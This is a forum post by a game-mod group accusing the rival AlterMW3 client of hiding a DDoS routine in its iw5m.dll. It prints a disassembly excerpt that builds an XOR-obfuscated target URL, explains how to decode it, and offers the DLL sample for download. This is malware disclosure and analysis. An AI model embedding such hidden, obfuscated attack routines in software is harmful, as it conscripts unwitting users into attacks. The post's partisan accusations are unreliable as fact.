[Tutorial] Modern Warfare 3 - AlterMW3 - Multiplayer

Many of you have noticed we were under a heavy DDOS attack over the past week. After having fought it off pretty easily, we went out to investigate what kind of idiot would use his botnet for this kind of activity.
Today it came to our attention that ntauthority used YOU, the people who play in alterMW3, to do his dirty work. Yes, he used all of you – over 60000 people, to DDOS our website.
Below is a code snippet taken from AlterMW3′s “iw5m.dll” (the original, unmodified file is included with this post). The dll contains a thread function that runs constantly while you’re playing AlterMW3. What does it do? Well, it turns out it runs a DDOS attack on our website:

.text:100EBF70 push ebp
.text:100EBF71 mov ebp, esp
.text:100EBF73 sub esp, 354h
.text:100EBF79 mov eax, dword_1029C6D0
.text:100EBF7E xor eax, ebp
.text:100EBF80 mov [ebp+var_4], eax
.text:100EBF83 push ebx
.text:100EBF84 push esi
.text:100EBF85 push edi
.text:100EBF86 push 3
.text:100EBF88 call sub_100BE567
.text:100EBF8D add esp, 4
.text:100EBF90 call sub_100BF381
.text:100EBF95 mov [ebp+var_8], eax
.text:100EBF98 cmp [ebp+var_8], 0
.text:100EBF9C jz loc_100EC483
.text:100EBFA2
.text:100EBFA2 loc_100EBFA2:
.text:100EBFA2 mov eax, 1
.text:100EBFA7 test eax, eax
.text:100EBFA9 jz loc_100EC483
.text:100EBFAF push 0FAh ; delay for the thread loop
.text:100EBFB4 call ds:Sleep
.text:100EBFBA mov [ebp+var_108], 't' ; encrypted link to teknogods forums
.text:100EBFC1 mov [ebp+var_107], 'h'
.text:100EBFC8 mov [ebp+var_106], 'h'
.text:100EBFCF mov [ebp+var_105], 'l'
.text:100EBFD6 mov [ebp+var_104], '&'
.text:100EBFDD mov [ebp+var_103], '3'
.text:100EBFE4 mov [ebp+var_102], '3'
.text:100EBFEB mov [ebp+var_101], 'k'
.text:100EBFF2 mov [ebp+var_100], 'k'
.text:100EBFF9 mov [ebp+var_FF], 'k'
.text:100EC000 mov [ebp+var_FE], '2'
.text:100EC007 mov [ebp+var_FD], 'h'
.text:100EC00E mov [ebp+var_FC], 'y'
.text:100EC015 mov [ebp+var_FB], 'w'
.text:100EC01C mov [ebp+var_FA], 'r'
.text:100EC023 mov [ebp+var_F9], 's'
.text:100EC02A mov [ebp+var_F8], '{'
.text:100EC031 mov [ebp+var_F7], 's'
.text:100EC038 mov [ebp+var_F6], 'x'
.text:100EC03F mov [ebp+var_F5], 'o'
.text:100EC046 mov [ebp+var_F4], '2'
.text:100EC04D mov [ebp+var_F3], ''
.text:100EC054 mov [ebp+var_F2], 's'
.text:100EC05B mov [ebp+var_F1], 'q'
.text:100EC062 mov [ebp+var_F0], '3'
.text:100EC069 mov [ebp+var_EF], 'l'
.text:100EC070 mov [ebp+var_EE], 't'
.text:100EC077 mov [ebp+var_ED], 'l'
.text:100EC07E mov [ebp+var_EC], '~'
.text:100EC085 mov [ebp+var_EB], '~'
.text:100EC08C mov [ebp+var_EA], '3'
.text:100EC093 mov [ebp+var_E9], 1Ch
.text:100EC09A mov [ebp+var_20C], 0
.text:100EC0A4 jmp short loc_100EC0B5
.text:100EC0A4 jmp short loc_100EC0B5
As you can see, this piece of code builds an encrypted string “thhl&33kkk2hywrs{sxo2.sq3ltl~~”. If we XOR this string with 0x1C, the result is “http://www.teknogods.com/phpbb”
This is the exact URL that we got attacked at constantly (that is why we moved our forum to phpbb_a). You can thank ntauthority for making you a part of HIS private botnet. We’re wondering though, what else he has used you people for? TeknoGods would never do anything like this, because it is lame, way below our standards and not to mention illegal.
Our dedicated servers work even when user is fully offline and do not require users to register for anything. Anyone can play from anywhere, anytime, offline and online (there are still a few bugs, but we’re working constantly to fix them).
TL;DR: Altermw3 is a malware; ntauthority of alteriw.net is using altermw3 users for a DDoS (distributed denial of service) attack against our web page.
If you’re a reverse-engineer, download the altermw3 ‘iw5m.dll’ malware here a see for yourself!
PS. New version of TeknoMW3 is almost ready!
LAST MINUTE UPDATE: Latest ‘iw5m.dll’ version of AlterMW3 connects to IRC – does it turn your computer into fully remotely controlled zombie PC? We strongly suggest: never trust AlterIW ever again.
Regards,
- TeknoGods Team -